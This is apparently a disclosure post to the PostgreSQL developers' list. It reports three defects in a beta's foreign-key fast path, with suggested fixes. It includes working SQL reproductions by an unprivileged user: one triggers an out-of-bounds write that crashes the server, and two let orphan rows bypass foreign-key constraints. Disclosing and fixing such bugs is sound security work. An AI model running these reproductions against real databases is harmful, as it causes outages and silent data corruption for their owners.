PG19 FK fast path: OOB write and missed FK checks during batched

Hi hackers,

The new FK existence-check fast path in ri_triggers.c (ri_FastPath*) runs
user-defined code in the middle of a deferred batch flush, which yields at
least three defects reachable by an unprivileged table owner. Present in
master and verified inREL_19_BETA1.

I identified these issues during recent security research with LLMs. While
they have clear security implications (OOB write, integrity bypass),
reporting them here because they are isolated to 19beta1, absent in PG18
and earlier; I don't have patches, only reproducibility.

Mechanism:

For an INSERT/UPDATE on the referencing side the fast path buffers rows in
a transaction-lived cache (ri_fastpath_cache, keyed by pg_constraint OID)
and probes the PK index in groups, flushing when a

per-constraint buffer reaches RI_FASTPATH_BATCH_SIZE (64) or when the

trigger-firing pass ends (ri_FastPathEndBatch, an
AfterTriggerBatchCallback). For a cross-type FK the flush calls the
column's cast function (ri_FastPathFlushArray, the FunctionCall3 at line
3069) and the equality operator -- arbitrary user code, mid-flush. Line
numbers below are from a REL_19_BETA1 build (commit 4b0bf07).

Unprivileged vehicle (defects 1 and 3). No superuser, no contrib: a
role creates
a type it owns and an IMPLICIT cast from it to the PK type with a PL/pgSQL
function, which ri_HashCompareOp wires into the fast path's cast

slot. Below uses a composite type. Default btree opclass, ordinary
single-column
FK, no GUC (fast path is unconditional for non-partitioned, non-temporal
FKs, per ri_fastpath_is_applicable).

1) ri_FastPathBatchAdd (line 2859): out-of-bounds write on re-entry

The write precedes the bound check, and batch_count is reset to 0 only at end
of flush (ri_FastPathBatchFlush, line 2971), so it is 64 throughout a
full-batch
flush:

fpentry->batch[fpentry->batch_count] = ExecCopySlotHeapTuple(newslot);

fpentry->batch_count++;

if (fpentry->batch_count >= RI_FASTPATH_BATCH_SIZE)

ri_FastPathBatchFlush(fpentry, fk_rel, riinfo);

There is no re-entrancy guard and ri_FastPathGetEntry returns the same entry,
so user code that does DML on the same table during a full-batch flush
re-enters with batch_count == 64 and writes batch[64], one past the

array, overwriting the adjacent batch_count field (struct layout, lines
250-251). A single re-entrant row only stomps batch_count, which is then reset
to 0 before reuse; the crash manifests once the re-entrant insert is

itself large enough to fill and flush a batch, so the stomped batch_count
is used as an array index (batch[garbage]) and as nvals in memset(matched,
0, nvals * sizeof(bool)) (line 3054).

Reproduction (non-superuser; reliable SIGSEGV on --enable-cassert -O0;
under -O2 the out-of-bounds write is of undefined effect):

create table parent(id int primary key);

insert into parent select g from generate_series(1,2000) g;

create type vch as (v int);

create function vcast(vch) returns int language plpgsql as $$

begin

if $1.v = 64 then

insert into child select row(g)::vch from
generate_series(1001,1064) g;

end if;

return $1.v;

end$$;

create cast (vch as int) with function vcast(vch) as implicit;

create table child(a vch);

alter table child add constraint child_fkey

foreign key (a) references parent(id);

insert into child select row(g)::vch from generate_series(1,64) g; --
crash

-- gdb: crash at ri_FastPathBatchAdd line 2866 with batch_count holding
a

-- stomped HeapTuple pointer's low bits, i.e. batch[64] overwrote

-- batch_count; backend SIGSEGVs and the cluster restarts.

2) ri_FastPathSubXactCallback (line 4208): batch dropped on subxact abort

On SUBXACT_EVENT_ABORT_SUB the callback discards the whole cache:

ri_fastpath_cache = NULL;

ri_fastpath_callback_registered = false;

But batch[] holds outstanding rows of the enclosing transaction, not
the aborting
subxact. An internal subxact abort during after-trigger firing (PL/pgSQL
BEGIN ... EXCEPTION) drops the buffered rows unflushed; their FK checks
never run and orphans commit behind a constraint that still reports itself
valid. No cast needed:

create table pk(id int primary key);

create table fk(a int, tag text);

insert into pk select g from generate_series(1,10) g;

alter table fk add constraint fk_a_fkey foreign key (a) references
pk(id);

create function abort_subxact() returns trigger language plpgsql as $$

begin

if NEW.tag = 'boom' then

begin perform 1/0; exception when others then null; end;

end if;

return NEW;

end$$;

create trigger fk_after after insert on fk

for each row execute function abort_subxact();

insert into fk values (999,'bad'),(0,'boom'),(1,'ok'),(2,'ok'),(3,'ok');

-- INSERT 0 5, no error

select f.a from fk f left join pk p on f.a=p.id where p.id is null;

-- a

-- -----

-- 999

-- 0 (orphans)

-- the constraint still reports itself valid, and re-validation passes

-- while the orphans remain:

select convalidated from pg_constraint where conname = 'fk_a_fkey';

-- convalidated

-- --------------

-- t

alter table fk validate constraint fk_a_fkey;

-- ALTER TABLE (succeeds; does not re-scan committed rows)

select f.a from fk f left join pk p on f.a=p.id where p.id is null;

-- 999, 0 (orphans still present)

Controls (no EXCEPTION; between-statement SAVEPOINT; DEFERRABLE
INITIALLY DEFERRED)
all behave correctly (FK violation raised, no orphans). The whole statement's
buffered batch is discarded, not just the aborting row's check. The abort
path also emits "WARNING: resource was not closed" (relation /

index / TupleDesc), a resource leak consistent with the missing flush.

3) ri_FastPathEndBatch (line 4133): cross-table re-entry drops a check

EndBatch flushes by iterating the cache with hash_seq_search (line 4143). If
flush-time user code INSERTs into a different fast-path FK table,
ri_FastPathGetEntry
adds a new cache entry mid-scan; it can land in a bucket hash_seq_search
already passed and is never reached. ri_FastPathTeardown (line 4165) then
hash_destroys the cache (line 4188) without flushing entries that still
have batch_count > 0, so that buffered check is discarded. This survives a

per-entry guard for [1] (different entry, not a re-entry of the busy one):

create table parent(id int primary key);

insert into parent select g from generate_series(1,64) g;

create table child2(a int);

alter table child2 add constraint child2_fkey

foreign key (a) references parent(id);

create type vch as (v int);

create function vcast(vch) returns int language plpgsql as $$

begin

if $1.v = 1 then

insert into child2 values (999999); -- orphan into a *different*
FK

end if;

return $1.v;

end$$;

create cast (vch as int) with function vcast(vch) as implicit;

create table child(a vch);

alter table child add constraint child_fkey

foreign key (a) references parent(id);

insert into child values (row(1)::vch); -- flushed at
ri_FastPathEndBatch

select a from child2 where a not in (select id from parent); -- =>
999999

-- control: INSERT INTO child2 VALUES (999999); -- correctly raises FK
error

Root cause / thoughts:

All three stem from invoking user cast/operator code inside a deferred batch
flush: while a per-entry batch is half-updated [1], while a cache-wide
hash_seq_search
is in progress and teardown drops non-empty entries [3], and against a
subxact-abort invalidation that cannot tell parent-xact rows from
aborted-subxact
rows [2].

- [1] Bound-check before the write in ri_FastPathBatchAdd, and add a "flushing"
flag to RI_FastPathEntry, rejecting re-entrant modification of a busy entry
(a nested per-row probe is unsafe: the flush may hold PK-index buffer
locks).

- [3] Loop-flush in ri_FastPathEndBatch until no entry has batch_count
> 0, and/or
flush non-empty entries in ri_FastPathTeardown before hash_destroy.

- [2] Do not discard outstanding parent-xact rows on
SUBXACT_EVENT_ABORT_SUB; track the buffering subxact, or flush
immediate-constraint batches subxact boundaries.

- Unifying: a global "in fast-path flush" guard routing any re-entrant FK check
to the immediate per-row path, and reconsidering running user code mid-flush
at all.

Nik